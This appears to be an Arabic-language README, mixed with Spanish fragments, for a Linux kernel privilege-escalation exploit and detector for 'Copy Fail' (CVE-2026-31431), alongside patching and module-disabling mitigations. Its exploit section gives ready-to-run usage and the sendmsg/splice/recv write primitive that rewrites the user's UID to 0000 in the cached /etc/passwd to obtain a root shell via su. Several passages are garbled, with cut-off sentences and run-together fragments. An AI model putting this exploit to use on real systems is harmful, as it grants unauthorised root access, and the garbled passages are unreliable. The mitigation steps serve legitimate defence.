
استغلال وكاشف لتصعيد الامتيازات المحلية في نواة لينكس (CVE-2026-31431) يعمل على إفساد ذاكرة التخزين المؤقت للصفحات للحصول على صلاحيات الجذر، مع إرشادات للتخفيف.
ثغرة حرجة عمرها 9 سنوات في نواة لينكس تتيح الحصول على صلاحيات الجذر في ثوانٍ
| السمة | التفاصيل |
|---|---|
| CVE | CVE-2026-31431 |
| اللقب | Copy Fail |
| النوع | تصعيد الصلاحيات المحلي (LPE) |
| CVSS | 7.8 (عالية) |
| اكتشفها | Theori (Xint Code) |
| الإفصاح | 29 أبريل 2026 |
| المكوّن | نظام algif_aead الفرعي في نواة لينكس |
خلل في تحسين "العملية في المكان" (in-place) الذي أُدخل في 2017 (commit 72548b093ee3). يسمح لمستخدم محلي بتنفيذ كتابة محكومة من 4 بايت مباشرة في ذاكرة التخزين المؤقت للصفحات في النواة.
AF_ALG للوصول إلى خوارزميات التشفير في النواة/usr/bin/su) أو الملفات الحساسة (/etc/passwd)إنه خطأ منطقي في التصميم، وليس تجاوزًا في الذاكرة. تطلّب تحليلًا عميقًا للنظام الفرعي للتشفير لاكتشافه.
# Ubuntu/Debian
sudo apt update
sudo apt upgrade
sudo reboot
# RHEL/AlmaLinux/Rocky
sudo dnf update kernel
sudo reboot
# التحقق من إصدار النواة
uname -r
⚠️ إعادة التشغيل إلزامية لتفعيل النواة الجديدة.
# تعطيل تحميل الوحدة المعرضة للخطر
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/copyfail_mitigation.conf
# إزالة الوحدة إذا كانت قيد الاستخدام بالفعل
sudo rmmod algif_aead
# عادةً ما تكون الوحدة مدمجة في النواة
# إضافة معامل الإقلاع لتعطيلها
sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
# إعادة التشغيل لتطبيق التغييرات
sudo reboot
# مسح ذاكرة التخزين المؤقت للصفحات أثناء التشغيل
sudo sysctl -w vm.drop_caches=3
⚠️ ملاحظة: هذا لا يغني عن التصحيح. إنه مجرد إجراء تكميلي.
| التاريخ | الحدث |
|---|---|
| 29 أبريل | الإفصاح العام من قبل Theori |
| 1 مايو | رصد أولى محاولات الاستغلال النشط |
# الحصول على إصدار النواة
uname -r
# معرضة للخطر إذا كانت:
# - v4.14 إلى v7.0-rc (صدرت بين 2017 وأبريل 2026)
# - تحتوي على commit 72548b093ee3
# التحقق مما إذا كانت الوحدة algif_aead محمّلة
lsmod | grep algif_aead
# إذا ظهرت في القائمة، فإن نظامك معرض للخطر
حدد الذكاء الاصطناعي هذا الخلل الذي مرّ دون أن يلاحظه المطورون لمدة 9 سنوات. هذا يمثل نقطة تحول:
# 1. Detect
python3 prueba.py
# exit 0 = not vulnerable, 2 = vulnerable, 1 = test error
# 2. Exploit (interactive — su will prompt for your own password)
python3 exploit.py --shell
python3 prueba.py
ما يفعله:
يؤكد أن AF_ALG وخوارزمية authencesn(hmac(sha256),cbc(aes))
قابلة للوصول من عملية بدون صلاحيات.
ينشئ ملفًا حارسًا بحجم 4 KiB في دليل مؤقت ويملأ ذاكرة التخزين المؤقت للصفحات.
يرسل 8 بايت من AAD عبر sendmsg+cmsg مع ضبط seqno_lo على
العلامة PWND، ثم ينسخ 32 بايت من صفحة ذاكرة التخزين المؤقت للحارس إلى مقبس عملية AF_ALG عبر os.splice().
يستدعي recv() لبدء فك التشفير. يفشل فحص المصادقة مع
EBADMSG؛ ومع ذلك يتم تنفيذ الكتابة المؤقتة.
يعيد قراءة الملف (ذاكرة التخزين المؤقت للصفحات، وليس القرص) ويبحث عن العلامة.
فئات المخرجات:
Condición previa no cumplida: AF_ALG أو authencesn غير متوفرة. الخروج 0.VULNERABLE a CVE-2026-31431: تم إدراج العلامة PWND في الصفحة المعدلة.الخروج 2.
Caché de página MODIFICADA mediante una ruta de inserción AEAD in situ: تمت الكتابة إلى الصفحة،
لكن العلامة لم تُدرج في الموضع المتوقع.
يُعتبر معرضًا للخطر. الخروج 2.Caché de página intacta: تم التصحيح. الخروج 0.لا يعدّل الكاشف أبدًا /usr/bin/su أو /etc/passwd أو أي ملف آخر خارج الدليل المؤقت الذي ينشئه، ويتم حذف هذا الملف عند الانتهاء.
المخرجات. ## استخدام LPE
python3 exploit_cve_2026_31431.py # Solo parchea, imprime los siguientes pasos
python3 exploit_cve_2026_31431.py --shell # Parchea y ejecuta `su <usuario>`
الوظيفة:
يبحث عن سطر UID للمستخدم قيد التشغيل في /etc/passwd ويجد
إزاحة البايت لحقل UID المكون من 4 أحرف.
ينفذ write4 على تلك الإزاحة، مستبدلاً UID بـ
0000.
يستدعي pwd.getpwnam(usuario) لتأكيد أن libc يبلغ الآن عن UID 0.
مع --shell، ينفذ execvp("su", ["su", usuario]). أدخل كلمة المرور الخاصة
بك. يتحقق PAM من /etc/shadow (بدون تعديل)، ثم
يتم تعيين setuid(getpwnam(user).pw_uid) إلى 0.
المستخدم قيد التشغيل لديه UID من 4 أرقام (1000–9999). UIDs من 1 إلى 3 أرقام
تتطلب كتابات متعددة؛ قم بتوسيع write4 وفقًا لذلك.
لا يوجد أي خادم ذاكرة تخزين مؤقت NSS (nscd, sssd, systemd-userdbd) يحجب
قراءات /etc/passwd. إذا كان getpwnam لا يزال يعيد UID الحقيقي بعد
تطبيق التصحيح، أعد التشغيل أو تجاهل ذاكرة التخزين المؤقت، أو اختر مستخدمًا مختلفًا.
يجب أن تبقى صفحة /etc/passwd في ذاكرة التخزين المؤقت بين تطبيق التصحيح و
تنفيذ su. عمليًا، هذا موثوق على أي نظام مع ضغط ذاكرة عادي.
يبقى ملف /etc/passwd على القرص دون تغيير.
التنفيذ الجاف (exploit_cve_2026_31431.py بدون --shell) يزيل تلقائيًا
الصفحة المفسدة عند الخروج عبر POSIX_FADV_DONTNEED، لذلك تعود عمليات البحث UID → الاسم
إلى الوضع الطبيعي فورًا.
بعد استخدام --shell**، تبقى الصفحة مفسدة حتى يتم مسحها.
طالما كانت مفسدة، أي عملية تحل UID 1000 → الاسم (مثل ls،
مديري الملفات، فحوصات ملكية scp/sftp) ستفشل أو تعرض معرفات رقمية. لمسحها:
# بدون صلاحيات: اطلب إزالة ذاكرة التخزين المؤقت للصفحات من /etc/passwd:
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
# من وحدة تحكم الجذر:
echo 3 > /proc/sys/vm/drop_caches
إعادة التشغيل تمسحها أيضًا.
write4sendmsg([AAD من 8 بايت], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # EBADMSG; الكتابة المؤقتة تمت بالفعل
الـ 4 بايت من المواضع 4 إلى 7 من AAD (seqno_lo) تُكتب بواسطة
authencesn إلى قائمة التشتت الوجهة، والتي في هذا المسار البرمجي
هي صفحة ذاكرة التخزين المؤقت التي استخرجناها من target_fd. إزاحة الهبوط
داخل الصفحة تتوافق مع offset_src الذي مررناه إلى splice().
حتى تصل النواة المصححة إلى توزيعتك:
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
بعد تطبيق التصحيح، يجب أن يعرض test_cve_2026_31431.py رسالة «Precondición
no cumplida» ويخرج برمز 0.
التصحيح الأصلي يعيد عمليات AEAD في المكان إلى عمليات خارج المكان، مما يبقي صفحات ذاكرة التخزين المؤقت خارج قوائم التشتت القابلة للتعديل.
algif_aeadalgif_aead في سجلات التدقيقآخر تحديث: 3 مايو 2026
الحالة: 🔴 حرج - إجراء فوري مطلوب
| 2 مايو | CISA تأمر الوكالات الفيدرالية الأمريكية بالتصحيح قبل 15 مايو |
| 3 مايو | توفر التصحيحات في Ubuntu وRHEL وAlmaLinux وDebian |
| التوزيعة | الحالة | المرجع |
|---|
| Ubuntu | ✅ تم التصحيح | USN-8226-1 (20.04، 22.04، 24.04) |
| RHEL/AlmaLinux/Rocky | ✅ متوفر | منذ 1 مايو |
| Debian | ✅ في مستودعات الأمان | التحديث متوفر |
| Android | ⏳ قريبًا | نشرة الأمان ليونيو 2026 |